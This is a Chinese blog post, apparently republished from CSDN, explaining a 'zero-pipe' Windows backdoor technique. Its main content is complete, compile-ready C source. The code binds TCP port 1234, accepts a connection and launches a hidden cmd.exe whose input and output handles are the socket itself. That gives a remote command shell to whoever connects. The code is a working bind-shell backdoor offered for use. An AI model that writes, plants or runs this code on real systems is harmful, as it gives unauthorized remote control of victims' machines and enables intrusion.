真正的零管道后门 - echoff的程序人生 - CSDNBlog

来源:百度文库 编辑:神马文学网 时间:2024/04/20 16:11:45
 真正的零管道后门    
所谓零管道,就是不要管道(这句好像是废话)。
有人会问:如果不用管道,这样讲recv到的命令写到cmd.exe中呢。
或者,我们根本就不用去recv,也不用去写到cmd.exe中,我们直接将accept到的socket赋给cmd.exe的输入和输出。
而且不用去考虑单向管道的问题,直接搞定。
不过需要注意一点的是,不是所有的socket可以直接赋值的,只有非重叠I\O的socket才可以,而重叠的则不可以,至于为什么,我最近也在研究。
但是,回过头来,为什么直接赋值就可以完成双向管道的功能呢?这要从Windows的内部机制讲起了:
在windows操作系统上允许通信的任何东西,比如文件、目录、串行口、并行口、邮件槽、命名管道、无名管道、套接字、控制台、逻辑磁盘、物理磁盘等,都被看做是一个设备。绝大多数与设备打交道的函数都是CreateFile/ReadFile/WriteFile等。所以我们不能看到**File函数就只想到文件设备。
这样一来,无论网络、文件、管道都具有同样的属性,同样可以用CreateFile/ReadFile/WriteFile来操作,为什么不能强行赋值呢?说白了,句柄它也是一个变相的指针嘛,只不过调用的方式不一样而已。
下面是源码,我做了些修改,拿到vc可以直接编译,再通过telnet测试。
呵呵,献丑了。。。
源码---------------------------------------------------------------------------------------------
#include 
#include 
#pragma comment(lib,"ws2_32.lib")
SOCKET  locals;
STARTUPINFO si;
PROCESS_INFORMATION  pi;
struct sockaddr_in   s_sin;
void bindconn(int bindport)
{
locals = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, NULL, NULL);
s_sin.sin_family = AF_INET;
s_sin.sin_port = htons(bindport);
s_sin.sin_addr.s_addr = htonl(INADDR_ANY);
if(SOCKET_ERROR == bind(locals, (sockaddr *)&s_sin, sizeof(s_sin)))
{
printf("bind wrong.");
exit(0);
}
listen(locals, 2);
printf("listenning@%d...\n",bindport);
SOCKET as = accept(locals, NULL, NULL);
if(as == INVALID_SOCKET)
{
printf("accept wrong.");
exit(0);
}
else
printf("someone comming...\n");
si.hStdInput = si.hStdOutput = si.hStdError = (void *)as;
}
void main()
{
WSADATA wsaData;
if(WSAStartup(MAKEWORD(1,1),&wsaData)!=0)
{
printf("WSAStartup wrong\n");
exit(0);
}
memset(&s_sin, 0, sizeof(s_sin));
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
int port = 1234;
bindconn(port);
BOOL bResult = CreateProcess(NULL, "c:\\windows\\system32\\cmd.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
if (!bResult)
{
exit(0);
}
HANDLE hPro = pi.hProcess;
printf("\n%d",pi.dwProcessId);
while (1)
{
}
}